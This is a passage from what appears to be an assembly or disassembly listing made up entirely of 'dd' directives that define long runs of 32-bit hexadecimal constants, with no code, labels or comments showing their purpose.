0A7B9712Dh, 8649B97Ch, 776B9531h, 92A52ACFh dd 96CAC089h, 5A72274Ah, 7A2F2F0h, 43D27155h, 3903105Eh dd 0C2517F7h, 650C0248h, 31543412h, 96243CD6h, 7C1AE905h dd 46EB4BABh, 0BF82F671h, 0C0917959h, 88CEAA52h, 473443EBh dd 9D85BACAh, 3F0669FFh, 49E9DD43h, 0C53F0276h, 0FCC1B710h dd 47868140h, 7427892Dh, 6008A02Fh, 1B42E45Dh, 517A5B2Ah dd 3FE9D10Ah, 5361D239h, 0F8EC3CB7h, 99014B0Ch, 13ABEC99h dd 6696B9Ch, 1F131207h, 7B2D4AB9h, 0BB73C8A4h, 0D13F9B93h dd 74070B6Dh, 5C55445Ch, 6FC23E39h, 52501051h, 0C004B678h dd 0CE8003EEh, 0A48BDBC1h, 98D8EA04h, 668DA186h, 282136Ch dd 9AF52F68h, 4A14D9C7h, 0BB231368h, 2F68798Ch, 5C1229BDh dd 61F890FFh, 9858F472h, 0F7F2162Fh, 0EA6BA02Fh, 7C5D9309h dd 2541D606h, 72BF509Eh, 58509F93h, 0E100B776h, 3E68113h dd 9855B23Ah, 6A2F0936h, 8487508Ch, 3EEC6130h, 0E45F7889h dd 0BA0E96AFh, 0C9C19697h, 657D5B07h, 0E956604Eh, 599F8E9Ah dd 82624868h, 6C68E0D3h, 0E92EE5F0h, 0EA40DACAh, 7BB13029h dd 16FF2033h, 69C252C4h, 5B55103h, 89EB79F1h, 0D2F710h dd 0EA9A5382h, 9F429F54h, 0CC3E085Dh, 13608008h, 0E800215Ch dd 31779644h, 5EBB08C4h, 93954B06h, 33920FE6h, 97C96420h dd 21888153h, 22F62DF3h, 0E9A5C79Bh, 3236C5CEh, 2FF2110h dd 0A41991B8h, 5F407D50h, 3776652Dh, 0BF250800h, 0E93DA875h dd 49CA6224h, 0D7E8F2F0h, 0A333C58h, 0E955F07Dh, 7A38464Dh dd 2835ACAh, 4BC31FE2h, 16291E40h, 0EAB02DEAh, 80932058h dd 0FAE7F912h, 0EFCF4089h, 0D44EC309h, 5179C00Bh, 78DB9DB9h dd 0B38800A7h, 760DD926h, 0C9393A2Dh, 5CACE98Bh, 91E9145Dh dd 70C0A0FEh, 3D5C975Bh, 6A3EE52h, 910A69BAh, 0F0B7E43Fh dd 28E20B0Ah, 0FC8E7C0Fh, 4AC5AC92h, 0ED683070h, 10DBBF0Eh dd 0EE012809h, 3E7C9551h, 0BB1AFD25h, 154015F5h, 0EC938A5Ch dd 0E8E91671h, 0C831C880h, 25D19751h, 4601FC60h, 0CD45E53Ah dd 29231E8h, 3D96E9EBh, 0BF86CE55h, 0E727AA4Ch, 391D7271h dd 4FA968D4h, 7B68997h, 33A46687h, 0EFB1F1EEh, 0ED882178h dd 705DD6C7h, 5A2DE4B1h, 0B74CEC01h, 0E806D847h, 2DB27628h dd 28FCD028h, 0C315C05Ah, 7106CBC9h, 9F32D387h, 9006260Ch dd 3E7ED4BAh, 0B712B49Dh, 790BF6D8h, 58451F15h, 5CAD05D0h dd 9289DD2Eh, 99548D71h, 7209B720h, 7DCF66DFh, 44BE4E20h dd 0F1BF13BBh, 3C76589h, 77EFE90Fh, 4A1C734Ch, 0A1B067AAh dd 26707405h, 0BF1F7A6Ch, 4AB35BFBh, 0F790B701h, 4ACCE9D7h dd 0C8FB9213h, 0A994BA40h, 9180EE9Eh, 236EE181h, 28295803h dd 0BFBD135Ah, 692DCC2Ch, 0F0804B8Fh, 284D2586h, 0BB0E5860h dd 173F0961h, 0BAEFD147h, 0F2BDA712h, 88071980h, 68B74806h dd 0E16A1773h, 0D3F0FD2Fh, 0F705A592h, 0D8098647h, 1021E65Bh dd 48C6DEE9h, 0AEA910B1h, 2456A14Eh, 0F8352D27h, 94C2134Ah dd 2FFD101h, 42DF629Dh, 459FD843h, 1E0BC6E9h, 5D58BB05h dd 40EB0956h, 5B5E9DDFh, 0C54E963h, 3813B9D2h, 9BB8D032h dd 0AEEF82Fh, 627DF90h, 6BF153A9h, 0E9DE98DFh, 0C40279C8h dd 5FDA163Bh, 6DD82002h, 6DC6FD86h, 589F3D24h, 7A8050A5h dd 52585AE8h, 48BC68h, 937F71EAh, 4B286832h, 85BF8C18h dd 1CB02A13h, 303BBAE0h, 210C0B5Bh, 3C13C613h, 1402CA09h dd 4E01416Ah, 0F9F727F4h, 662ED2FCh, 9D165C6Bh, 682E8C54h dd 0F8E0C1BFh, 3D047026h, 0C25F7E2Dh, 0B9D215E2h, 0DF14520Ah dd 0C514D305h, 362612B3h, 45286FFCh, 0F2560CDDh, 5DECD9A7h dd 5D5BD09Fh, 680BD626h, 57986DBCh, 5273D788h, 0F44AFE75h dd 0B45B9ACCh, 9EE9E103h, 1D22D9Dh, 8B7A74F1h, 26B5D37h dd 0E30681Eh, 9F60C4FEh, 7848D418h, 8C7B958Bh, 66AEF149h dd 92D6B18Ch, 0AFE4C3F9h, 0F1C6BC8h, 0E9098F2Ch, 0C9FCBDC9h dd 7E4A9A6Ah, 9F405C38h, 61EA76Ch, 18ABFBCBh, 4E0768E3h dd 0D68BA239h, 607A9B29h, 6E457A5Fh, 0CE817B01h, 532A3602h dd 26851C4h, 38BF5609h, 46FF4159h, 0A60C4F35h, 9AB40BAh dd 0D5D8CD0Ch, 0E134C851h, 0C1B3D3C2h, 81225CE9h, 37E3BDD6h dd 7D3656F7h, 187A450h, 0BF6CDB68h, 0C6B4DF76h, 0FD21A07Dh dd 0BECCC6E9h, 5C574CDFh, 1A02E89Fh, 0B3FB952Ah, 0D725F69Fh dd 374ED0Bh, 5F55464Fh, 19F304A7h, 0BCE20FBFh, 4C004EFDh dd 85232CEFh, 5359051Ah, 0FC2A6268h, 6A75C012h, 37E96423h dd 6F4B9545h, 5205CC5Eh, 6026C30Ch, 740C2601h, 0F8CF3DE6h dd 0E2B453EAh, 53FC880Eh, 39A2E76Eh, 3057585Bh, 0C042C203h dd 6F06C65Fh, 0EEEC3F9Dh, 6537050Ch, 134C1861h, 904BD718h dd 822D9DEBh, 0E7345894h, 0A2929F5Ch, 0C5C27B34h, 3CE80A21h dd 5A152FACh, 0EDC1C162h, 27FA0477h, 0ACDBA4B2h, 0A5555915h dd 4EBC9638h, 7A8E44A1h, 0C30113A6h, 69185F0Ch, 0D3A6E97Ch dd 4BD8C607h, 0F6E03E7Dh, 0B8EE145h, 4CD1E991h, 4E96147Fh dd 52E41D1Ch, 0E124BE9Ah, 695A81BBh, 0AFB46FDEh, 11819536h dd 8A740F68h, 0CE1AEE3Dh, 6E825764h, 5AFA50D3h, 6BA60B09h dd 64FFDC62h, 68830BC5h, 0D350778Bh, 485E992Fh, 0B157BB3h dd 0C32138B3h, 96B70055h, 5F39A80Ch, 0C15EE855h, 595EE9EEh dd 58C67D89h, 17BB1404h, 851722BFh, 2930EF50h, 114F40C3h dd 0AC0B4F32h, 4D5270Ah, 0DABA583Fh, 3C5B1B39h, 50327D24h dd 12C2A8EEh, 0EF475F2Dh, 36C0A65Eh, 31D95112h, 0CAD0C8F3h dd 58A36805h, 0CFAA9444h, 2DCACFEAh, 0D1CEC0DFh, 0C23B0FEAh dd 0B2B840Fh, 0A020D211h, 3812DB9Bh, 430AEB39h, 5425A2FAh dd 42BB651Ah, 505BDA0Fh, 3A69895Dh, 9ABB4369h, 599BC9CAh dd 0BE5802E4h, 521D9225h dd 5C7CBE39h, 4DA434E9h, 97D08112h, 0AF8B3B37h, 8580BA13h dd 483CFFA9h, 1D272B68h, 68C4AD1Eh, 5FF35252h, 0C872E582h dd 527D68E3h, 0F1397F77h, 0AA4CE297h, 0CBBFFD25h, 73009367h dd 0D02D5FFEh, 2E8B3A42h, 0ED657F87h, 2C26A039h, 409D3F94h dd 0EB0EA8B3h, 0E0EE04C0h, 0D9D3FDD8h, 179C3E1Ah, 0FAE81E53h dd 60225D7Bh, 8104FD6Fh, 8F01122Ah, 1ED377C1h, 0E19A84ECh dd 0E31FFC3Bh, 0C3CF83B8h, 51F88259h, 2E84624Dh, 96885706h dd 0CC5212DAh, 2B096844h, 0FF077C5Eh, 759BA316h, 0C22DB1A9h dd 375EC03Bh, 4F7A06D9h, 0D0FE7DE9h, 0B26E94BDh, 0B7F4C400h dd 7426D108h, 6DBC04EBh, 4C5F29CFh, 4F240490h, 26F78101h dd 55657C08h, 9D0BF4F4h, 688B0351h, 0BB1B77A2h, 384901C1h dd 0B2FCCA14h, 2A19D0A7h, 9A66C62h, 15EC3E1h, 374401F0h dd 0BA5A4BD5h, 4E375B2Ch, 12AFF733h, 0C22262B7h, 37FFC00Eh dd 0BB530042h, 1FE7329Ah, 0E917DA09h, 32EFB257h, 0C95033E1h dd 81CB0501h, 0C289F85Eh, 0B70780F0h, 0C5A7DAF3h, 0B5510CC5h dd 0AC41497Eh, 58F3C300h, 0AED0D2BAh, 0E2E95020h, 9D028214h dd 66F7BBB3h, 0E61291Dh, 95892F8Ch, 0F6AD49DDh, 0D42559BBh dd 17181C68h, 9A11C888h, 0DD340DFh, 26F9F04Ah, 870809D3h dd 0E90947D9h, 1EF05809h, 1403E6C1h, 7148D6h, 0DF1CFA2Dh dd 1BC9050Ah, 0E916DB77h, 2DFB1238h, 8CC702BDh, 89804DF7h dd 0EC60C7E9h, 80183C34h, 120655EFh, 0FFE3FB28h, 58933D58h dd 97B2ED30h, 0EFB744ABh, 0C18006F1h, 19C22CB0h, 21E64FA0h dd 2B980EDCh, 8D4D7534h, 83E0F2BEh, 84F2BBE9h, 0DF96A2EFh dd 0F9B64E79h, 3F7D815Fh, 0ADA004F4h, 6AC803C3h, 0DF31A1EBh dd 65833625h, 0E9962D2Dh, 7FFE5950h, 77BD3D69h, 2AEDD100h dd 55900A9Eh, 0F4AF1F01h, 50B5688Ah, 0BDC1D53Ch, 3B513167h dd 298526B9h, 1CC581DFh, 5772EC1Fh, 3355BF02h, 0DD093C0Fh dd 2D03C096h, 507F6535h, 7803B2E9h, 6048EC01h, 455DE6EEh dd 870EE581h, 0C0354622h, 0D71295EDh, 4EF897ACh, 58C23112h dd 0E99221AAh, 2F96251Fh, 0B4E1CAB1h, 0A94B6428h, 58CEE1C0h dd 2DF95FC2h, 0FF889BCAh, 20032865h, 0B904FA51h, 221D58C8h dd 0A971DC0h, 0AB2748B3h, 0C6FCF527h, 0A11724E8h, 5717A65Ah dd 0F120F39Eh, 5C598E8h, 60194344h, 7ED5EC49h, 0E62DBCF4h dd 67BAF99Fh, 84A16758h, 51C7EABCh, 0BE7EE941h, 0C55B82C3h dd 0B15180A5h, 59C888B6h, 40E0C02Dh, 0B0F7B38Eh, 9F91520Ch dd 99D680Ah, 20B8801Ch, 2D568D49h, 0DE218106h, 0A0B6835Ah dd 1DAC35F3h, 7C79B828h, 7D2DF03Eh, 6382FF09h, 0F2510C55h dd 0DA21F080h, 1314BB6Dh, 0F19225DEh, 96063B7Eh, 96BFB0A4h dd 0C73D125Dh, 82CAF46Eh, 50008DEAh, 7A8846B0h, 781027C5h dd 560ED71h, 5A423A3Fh, 1690C46Bh, 0A605AB07h, 5CC88F0Bh dd 930C5C6Ch, 48022C7Bh, 0F07DBB03h, 146B12F9h, 5FA0086Ah dd 0C4AA5912h, 0BBC0EB67h, 9E4B746Eh, 3886BD80h, 0C1DC019h dd 326820Bh, 4F81FD6Eh, 8D02EEC1h, 0D4313C7Ch, 1064AD61h dd 5B6634B7h, 53A3C10Dh, 0AC5823Ch, 7D161149h, 0FAB99202h dd 0C0658007h, 112E56F9h, 82BE9E0Fh, 216E4F23h, 0A698CDCBh dd 10490D04h, 0C644827h, 0C098C06h, 0FDC728FFh, 0A65130ACh dd 1A76C243h, 3464E9E5h, 50B5BF7h, 78943C91h, 6D6161Ch dd 0C6CF0F80h, 0BF08A81Ch, 0B08BEEDBh, 98B2C4EDh, 80667D57h dd 1199FE89h, 25DB7E69h, 0D2743558h, 5A408F3Dh, 0C41609E2h dd 0FD0C9098h, 3D48C174h, 6859040Bh, 32986136h, 0D74F1443h dd 0E90BEF50h, 20747063h, 7D37C1Ah, 0E3F508E0h, 0D7154C0h dd 162984Bh, 7A826B23h, 7CD5D7E9h, 5559A76Dh, 652EBE66h dd 3C23D61h, 0B8AB0F10h, 0D092EBFEh, 0EC51DDAEh, 419CE417h dd 43E75541h, 990C2560h, 27853CECh, 0EB2E6132h, 0C5D267C7h dd 0F420413Fh, 66277638h, 0D108AED6h, 0A5B12CE6h, 0EA51E9Dh dd 0D0BB0704h, 0BF11A4A0h, 0A81613FBh, 47DC8028h, 0CC0CCF81h dd 0C43364Eh, 0D7631899h, 3257963Dh, 2978B62Ch, 0AE55FD02h dd 43C07DB5h, 4ABFD2F7h, 494AD92Dh, 443C3B8Dh, 0E9078084h dd 1ADF6779h, 0F775B40Fh, 0D45A3D1Dh, 0BFC5D514h, 9AFCC9CBh dd 0C908BC2Bh, 5C01F8CBh, 5B10FFF6h, 3F0412EAh, 8C1B8D1Dh dd 0ED19F1A1h, 3FEF3001h, 0F7C76FE2h, 88CF324Dh, 886C0E0h dd 2359EF2Eh, 5FBE61Fh, 76F06801h, 7DB2A18Ch, 9DF23993h dd 80CEEA9Dh, 50663AC2h, 84F53B4h, 0D13494B8h, 3BD9FA32h dd 0F3947529h, 9A410h, 71346850h, 7D582111h, 0BDA4D40h dd 5275040Fh, 2A19C90Fh, 0CFD820ADh, 308F7C16h, 0B09DAB8h dd 2F77F6Ch, 0F708D3C3h, 3CBDAE18h, 19A22002h, 0C6DF7BE9h dd 0E3789D5Dh, 9A20579Ah, 0DDF627E5h, 0C34F90F2h, 0D8F500E1h dd 0DFC9AAE3h, 7A269FC0h, 3BC220B5h, 0F611068Bh, 17C869BEh dd 30156980h, 8AF84B12h, 0DC2FCB9Eh, 6B659A8Bh, 0CFA5640h dd 0CD6B6926h, 2C240848h, 3156A916h, 0D9E1A0B8h, 7B34799Bh dd 0C92F2641h, 9DB5E868h, 0BAE07E9Ch, 17F56BEAh, 61D3297Fh dd 2241687Dh, 1B1616EDh, 2729CCD0h, 2D257BC7h, 0CBF6F454h dd 8949F4EBh, 0B4A53B99h, 61F382F2h, 0E3C46075h, 0EC627221h dd 47793DF6h, 0E1E91092h, 0B7292E35h, 93146668h, 0B0008FEAh dd 58C328E8h, 6D4A9F68h, 9F901E8Ch, 35AFCF8h, 0F5EF5D90h dd 6C3E2428h, 49581DE0h, 0A67A2097h, 5906EB05h, 37C02671h dd 0A896ABE9h, 9F5AD098h, 0FFFAE854h, 2143B3A2h, 807F9875h dd 44DF82E4h, 13776A26h, 36270351h, 0E6B053B2h, 0FD2852F5h dd 0B480852Bh, 7BBF2259h, 21E90BE4h, 0AE9CA278h, 26CC682h dd 0DAA47D50h, 0D243E85Fh, 91491DBCh, 2B90CD4Bh, 0D840722Ah dd 0F2B9807Ch, 344C6177h, 5F4E095Dh, 28805F14h, 0C6087DE3h dd 4F0A2F5Dh, 14AD1FCh, 0D530AB98h, 6E284Fh, 982394EDh dd 4FFEE90Dh, 7EA16D80h, 0AE4A32F7h, 7E286D3Dh, 7EFA68B0h dd 5439E980h, 0EECDE118h, 9DAB52DEh, 0FBE0428h, 387A1AF8h dd 842092C9h, 5E257805h, 4930127Ah, 0FEEF9D3Dh, 69400721h dd 8BC1E7D1h, 16F7A000h, 284B4B38h, 0E1EFC884h, 5614DCB3h dd 324AFFF6h, 33C3ED80h, 587214A5h, 5A090605h, 875B565Bh dd 37843C13h, 8B8E86C1h, 0B18B900h, 0D27A9828h, 7EA53F9Ch dd 0F09B177Fh, 1AECAD72h, 678A125Ah, 4F04715Ch, 58036768h dd 38B7B56Ch, 0E8014E2Ch, 8092B652h, 71BF70E6h, 0C3F77061h dd 7D16DF4h, 974F3EDh, 0D601375Dh, 7C12B765h, 0C1005E80h dd 0CD8102E5h, 6187532Eh, 0EFE91333h, 0F375C27Ch, 9D8B2007h dd 25EFEC80h, 6DB8382Fh, 0A80948FCh, 42DBE933h, 0C4597D02h dd 29C00E92h, 2D5385B3h, 1CD6DDB7h, 52C304B4h, 0CD0609D9h dd 2A40F828h, 66EACA04h, 964C36BEh, 9AAA5D3Fh, 994F5081h dd 84F26023h, 1DB6610h, 0FA7BAD05h, 0EBF7011Ch, 4055E8BFh dd 318758Dh, 0FB292205h, 25C4E1E9h, 0CC48D5B2h, 5AA72C10h dd 99F0FB81h, 0EADEC004h, 24C56F16h, 5FE485A8h, 5E09BDA3h dd 0A9716FDFh, 55E9C1E0h, 1CFC2FE3h, 0FE8F65B5h, 8BA893D1h dd 1094A36Ah, 5824FDC9h, 6EEA5AB1h, 0FAFCC310h, 0CE4B4182h dd 5A6B4524h, 467089B8h, 9EFA3785h, 1AECD65Eh, 1460BEE4h dd 0BE1A56E9h, 40812EE5h, 215B5DEEh, 98976EB0h, 16535ED4h dd 0FE18A6E9h, 6EF0BA29h dd 40E09685h, 0C68859B0h, 15BFA29Dh, 79E35C0Fh, 6562605Bh dd 976BC382h, 0B0B4182h, 0ED1C31F0h, 279440C2h, 0FAD2CE6h dd 70E93602h, 2481091Bh, 2E5A2064h, 0D973001h, 21205D95h dd 427516E5h, 1FC60B27h, 0BE5E1232h, 0D2F65F38h, 56C1CD85h dd 17EAACB1h, 52300594h, 90896664h, 0E149276Dh, 0C101D6D9h dd 8F132E77h, 0EE19406Ah, 0E7C7108h, 0C4D5290h, 28F416D7h dd 3CC50FECh, 52504B66h, 47F9275h, 0B9407691h, 1E9C3188h dd 48CE40BFh, 4180B68Bh, 0EC5F5457h, 599FF21Bh, 4F00726h dd 0C469B2C2h, 0ADBDD353h, 5C298107h, 287B1C8Bh, 0FC9EF8DAh dd 2A17F140h, 2D58287Ah, 4FEF8106h, 0DD51AD01h, 0B9FCEAC0h dd 843AD460h, 4B91FA29h, 4B66CE98h, 0A5D2BE06h, 5C1479E5h dd 3212DE73h, 5A2DDB65h, 0F32B9FF1h, 5B3E3CBEh, 4C0CD7B2h dd 721619FAh, 11A2A5D3h, 287959C1h, 0D8A600Ah, 99123771h dd 1FF126E9h, 834DA42Bh, 0D90EC164h, 0E916BA85h, 7CF552h dd 0C74354E9h, 0EDFB5A01h, 5DC38987h, 7F97BE91h, 3665509h dd 8327822h, 1692F10Ah, 0E9608F82h, 0B74A78D6h, 65EC05F3h dd 1D0C0235h, 0C121EC4Eh, 626FF177h, 0CCD9CC74h, 767B6AA8h dd 88390DBAh, 71B74ADEh, 222E243h, 0FFED8003h, 3F0E8E9h dd 6AD6BF10h, 0ACD10A7Ch, 6AB67EEEh, 0B7D80127h, 0F016F49Dh dd 6C4B5CE9h, 2A38E241h, 20ED5ABCh, 0E2EAAA54h, 2F697B73h dd 12ECD484h, 890DB13Ah, 2273920Ch, 0DD5BDAE5h, 54E5D560h dd 74E2EC2Fh, 805BBBD0h, 1E0DBD51h, 5DF415ECh, 763AE7BEh dd 22B10925h, 2F653ECh, 0A66602BAh, 0D6A3DE54h, 0FEE43173h dd 3D3F08DFh, 92E6DF88h, 9EC09B27h, 5F121E2Dh, 82BA030Fh dd 28E4CAD5h, 1740AB90h, 0B5510E5Ah, 0B18652D8h, 0A630841Fh dd 8825420Dh, 286A004Ah, 0D010A405h, 48BD8948h, 1D02B260h dd 924F642Bh, 51D1EAD7h, 6AD91F9Ah, 173D2020h, 147FB41h dd 22988BBh, 48BB3015h, 2F4AB4E2h, 8418DBDh, 54633120h dd 73E5FB5Bh, 0BA02B713h, 0BB002E31h, 34A335Ah, 9586B904h dd 10F93043h, 0EB8006Bh, 44A90301h, 3106BB25h, 20E0C1A1h dd 35404B3Ch, 14A22D68h, 1AC80998h, 16ECB12h, 1208AFFh dd 33EDBA52h, 0C76B07CBh, 9F93574h, 91C1C494h, 0DC9C6458h dd 0FBB7187Eh, 535F1EC6h, 8236FDFAh, 0F0A4E9h, 60CE6851h dd 26F246B5h, 404C78B1h, 0A2E15693h, 71608598h, 33C1F117h dd 0EA2D76BEh, 0B829E22Ch, 0E7D325EBh, 378B8DF4h, 91C7D4Ah dd 9F706FB5h, 1CF5E58Fh, 0E62B3163h, 0C465F545h, 27B01DFCh dd 7CC2EC27h, 9B6FC3F1h, 0F3CF2B07h, 659FC067h, 45A751DBh dd 89CE257Bh, 3A93A671h, 39BA86F0h, 4B0A0754h, 1FBBD631h dd 0A88ACCF2h, 5018EE45h, 0AC9A6744h, 257EB22Ch, 63FC7D31h dd 0CD9A7772h, 0F9291985h, 61720E85h, 49D55451h, 0FD5089A3h dd 0F19F1ECCh, 4EDDE92Eh, 6118BD50h, 5181DD66h, 7967B9D4h dd 1AC3B57Eh, 0C16149EAh, 3477C5E9h, 257CBAC6h, 746B0B9Dh dd 4AD70F9Eh, 0C62046CCh, 4057E231h, 138D06EEh, 6A322750h dd 0A11266E2h, 0E764523h, 1522A358h, 99D6EC1Ch, 0A52A02EAh dd 6187E01Eh, 618EC34Bh, 8010274Dh, 0E6FD4069h, 8C1F4E6Ah dd 40A84F38h, 5EB652B0h, 0B3BC805Eh, 22CB7827h, 4C3B72C7h dd 94B7459h, 2424FD90h, 22DCBBE0h, 7C94B759h, 55DF6810h dd 0DBA0E90Ah, 0E4F00850h, 19F68100h, 95C7043Ah, 0E5D7F4E2h dd 0B9E9074Dh, 6E7F0963h, 0C201200Bh, 4FC36233h, 0F271F0E6h dd 895BBD23h, 0A35DD83h, 9B7E2F18h, 0E3D55DC2h, 309F9045h dd 0D7C8A2E5h, 1E5625E2h, 0E6E8290Eh, 260E14ABh, 27EB252h dd 0D32890F2h, 3016D06Bh, 3DF62313h, 7863143Dh, 96BA5356h dd 0CFBEC6A3h, 6052CCC1h, 4A725146h, 0F2291117h, 0A084210h dd 94F725E9h, 8FD2484Eh, 1627D9C6h, 0D4D1B497h, 55966368h dd 0DEFCE2E2h, 350F7825h, 0BD262617h, 126B1036h, 16CC4524h dd 2B7AE58Ch, 0CC2F9B4h, 67AD6A20h, 0B517DE90h, 41AF42AFh dd 0E34C3AF6h, 0B4AC6A02h, 85DC1AB2h, 0C597421Dh, 86486B4Fh dd 269646Ch, 378D2DD8h, 0FA5FC679h, 0EDC2A16Ah, 31787033h dd 0BAFFFA86h, 60C6C30Ch, 4F229720h, 9FCBE959h, 0FA70C24Bh dd 6ED71814h, 0D3EDCCBAh, 76010DCBh, 2FDAAC9Dh, 7E3BFB53h dd 9FE82FEDh, 5ED7F5CCh, 148CC0A0h, 5340E196h, 123C6855h dd 0AB6C0A31h, 1790D853h, 12F5BF57h, 0A865F90Ch, 0EA422ED3h dd 1D33E904h, 0E940B0CAh, 0D521392Ch, 429E5DFh, 0D2D9EC08h dd 61ECEFBh, 47C9E9DEh, 80CE500Fh, 923B00F3h, 1AE5817Ah dd 130F736Ch, 2045EDD1h, 0B243AFCDh, 0E94D0C74h, 30B4DB24h dd 5966EA02h, 4002E2C0h, 72FE6F69h, 0F1CD58C5h, 4E99406h dd 0F6272CFCh, 0EF0180D7h, 0FCFE30CFh, 5F4E4A83h, 2B4D45BDh dd 2DEC903Ah, 0AD2D3778h, 96D3C5E8h, 0A971BE3Ch, 8105F936h dd 29379ECCh, 80640100h, 0DA015117h, 0EB19D060h, 92D6A96Ah dd 29B929FAh, 63780545h, 8D803CCCh, 4E587327h, 0AE47BB09h dd 5E991AF0h, 527C04A5h, 5B21E093h, 2C746A0Fh, 58BC1h dd 3F7F0245h, 0FD29090Ch, 0F02019E9h, 7614368h, 0F6594E2Fh dd 9D570B03h, 540F079h, 4A310945h, 1058B953h, 5D3BDA29h dd 0CA089A13h, 4CC69DEh, 19E3219Fh, 4C2A3305h, 63EE8270h dd 12581455h, 4410FA68h, 13B841CAh, 0C5ED00ABh, 45537358h dd 85985A5Fh, 0CB185392h, 53813878h, 0F928FF4Eh, 665D8901h dd 445626C7h, 0E883DAC9h, 3F29814Ch, 3E076E01h, 312F0665h dd 2FF50183h, 6E2975C9h, 66BFE8F6h, 80DD4E34h, 1C3E3596h dd 0D223C00h, 161938F4h, 6D200205h, 1A2D0146h, 89179680h dd 0A52EE9C7h, 15587639h, 2B3180D2h, 0B4185B4Ch, 3F736DBBh dd 0CEFEB064h, 0DDE25EC3h, 0AB4B91D3h, 0E1880090h, 17F2BD58h dd 0A34CF8F8h, 102A806Dh, 0BB86581h, 9A7EEFDAh, 662C3470h dd 68AC0507h, 0E6CBA209h, 0AB22778h, 3FD7B8A2h, 0E3B12904h dd 6643DC83h, 20103914h, 5F2620DCh, 0E8E32F7Ch, 8975EA84h dd 891786A9h, 7467D8E5h, 13CC1E48h, 0E94C37E9h, 14CEBA51h dd 865C5E15h, 96EEB420h, 824E46EEh, 99F50B2h, 9A5DEE38h dd 0C5E0FDF9h, 0FA2B31BFh, 0F70BB626h, 371B7CD1h, 58667168h dd 3F142114h, 0AE7ACC0h, 93F12B5h, 5B17FFF5h, 9EDF8663h dd 0FD681F13h, 0D2CD774Dh, 0C1FC132Fh, 7E38369h, 0F7B124BAh dd 6F1E09D9h, 55BF5700h, 14CBE96h, 0D9101688h, 0B53C77EEh dd 48F15849h, 879C57F7h, 44B52D93h, 533AA661h, 0A98EAA4Fh dd 9501B92Fh, 69A43AE9h, 975B3E96h, 90365D1Bh, 73CA00FCh dd 0E2B8363Ch, 7B5E9BACh, 0D55A00F8h, 0E09BE8B0h, 5A25FBC7h dd 0CA60E9B3h, 0B808CD52h, 25152CF6h, 0C5D5796Ah, 6EEC88D7h dd 22C3823Dh, 5445642Eh, 0A8596555h, 75B9D66Eh, 2226F02Dh dd 86306EE2h, 5AD1041h, 0C14C1493h, 680C9A79h, 0F76B61C9h dd 9F070659h, 5E084189h, 0E46DC3FEh, 8A64BB84h, 1714E281h dd 5BB15100h, 86D9F60Eh, 8D48CE1h, 56C92580h, 0E6B1835Dh dd 0EED303B1h, 23142AC8h, 4616F6B0h, 0E9622505h, 0F9D5E802h dd 61B74601h, 806E75DCh, 0A8CE8129h, 6B484FFAh, 87AD30B4h dd 0B4A05F0h, 5E23D552h, 51262945h, 0EB4E8C05h, 7720EEC1h dd 6B685000h, 22A10D13h, 0E1F6B409h, 0EE8A5634h, 98927C5h dd 0A605D189h, 69BFA2CEh dd 96C7D8F4h, 16D752A6h, 0A9C70414h, 80326B1Fh, 0CE66A57Ah dd 49748548h, 72A393FFh, 6D41EB4Bh, 0D32FEBBFh, 700CE542h dd 0DBC5BF0Dh, 120A941h, 0C266773Bh, 3D4AD692h, 23032FFEh dd 0E9103D58h, 0FF3DD780h, 0FB277F34h, 0BED73CB2h, 41ADB828h dd 10D76DEAh, 0AB404543h, 20B59E0Ah, 141209B7h, 337617F0h dd 0AE65F749h, 0A6A7E9C1h, 80DFF752h, 3A4D64A9h, 840CC30Bh dd 59CE0837h, 8A20C290h, 0AC664A1Ch, 0D7148C50h, 379A0BB9h dd 435E5641h, 8E18039h, 5E96C981h, 0DB7A4CD1h, 0A8F93C25h dd 42F4FF07h, 52CC26B2h, 182F869h, 814CCB18h, 0EA491DE2h dd 507C48E0h, 16628BB1h, 809CFDF8h, 6816D184h, 4DFE1905h dd 0F9125790h, 0FE5FF574h, 0E9448177h, 0BD57C862h, 1EEA5D65h dd 34E653AEh, 963AC35Ah, 665C04F4h, 9485E3ACh, 738EABD5h dd 513CBB4Bh, 0CF25655Eh, 0CB326EFh, 0E926BF84h, 5A95D334h dd 55CA9623h, 5BE4B35Ah, 0B372A4A0h, 32680425h, 8B0B127Fh dd 0FA1F6B65h, 5D09FBh, 7B21A41Fh, 4D0CC76Ch, 0CE13A61Ah dd 0C4376A09h, 3AA8F534h, 85F1608h, 0BA039DDAh, 0F54071E3h dd 38CBD1FAh, 0B8E00D4Ah, 62069E6Fh, 9877151Eh, 583F802h dd 82689B44h, 0BE1D400Bh, 40237BA6h, 1C4EE917h, 0EAF65DB4h dd 5B282E0Fh, 0A5FCB83h, 555A04E7h, 0BD20D244h, 295D4BD4h dd 0DE0DADAEh, 9482456Ch, 0C6E3FAA9h, 3AC3E982h, 0C5CF8ED1h dd 1F69EAB3h, 0F6C6443Eh, 7BD08A42h, 7D67E2Eh, 55AB75E2h dd 0FBFEDB1Eh, 268C040h, 78F108B6h, 4877895Bh, 246FAB6Eh dd 0B05A66h, 7B82345Ch, 5C8D2F7h, 0B9E20DAh, 0B2B5D1D9h dd 0A7B97653h, 40A9D4C7h, 2B9B6652h, 1B44ECEDh, 0C018BF6Eh dd 8F9ADE2Eh, 0A2FA4E01h, 0CBFAD245h, 76FC5EA6h, 12B782F4h dd 5DAB1AFFh, 0C9A87571h, 3BE3C020h, 0ED93C589h, 91E6931Ch dd 865674FAh, 52FDDE25h, 1CA87FDh, 40DE5E19h, 0DC6A2DBBh dd 0EBC15E09h, 268EDD05h, 6AC10F5Ah, 86FC058Eh, 768310Ah dd 481702DAh, 0D0FEEACBh, 7E3CB720h, 29260209h, 8BB850F7h dd 972ED808h, 6027C07Bh, 711BEF2Eh, 0FDAFA01Eh, 0FE7F27BFh dd 91206770h, 52552C28h, 756800DDh, 98BA3D1Ch, 9ACE7631h dd 8D691109h, 8255B24Eh, 0A9813E9h, 445C04D3h, 9EA18049h dd 2F5C831Ch, 0C0209EDh, 0BA897Dh, 14D03286h, 0E5D94DF7h dd 0D4F1387Bh, 0F27C2B18h, 8A33427Fh, 0DFA31806h, 0CA210451h dd 0BF70D330h, 262EE79h, 5C42CD3h, 121C84E0h, 3A84E581h dd 41EF03A6h, 0C58A8970h, 0E9EBD091h, 0E682884Eh, 0FB00FE5Fh dd 6C71CB8Ah, 7EADB248h, 0D2BE424Dh, 33E7FF09h, 0E2F5E989h dd 0F283523Dh, 0E2DF4E8Fh, 8A2C0582h, 0C8EFF028h, 0B89A1B66h dd 0E19C5C97h, 7E1FA368h, 0F3A11DE2h, 0C38B92F2h, 7D291BE4h dd 0F0D827D3h, 4A90A55Dh, 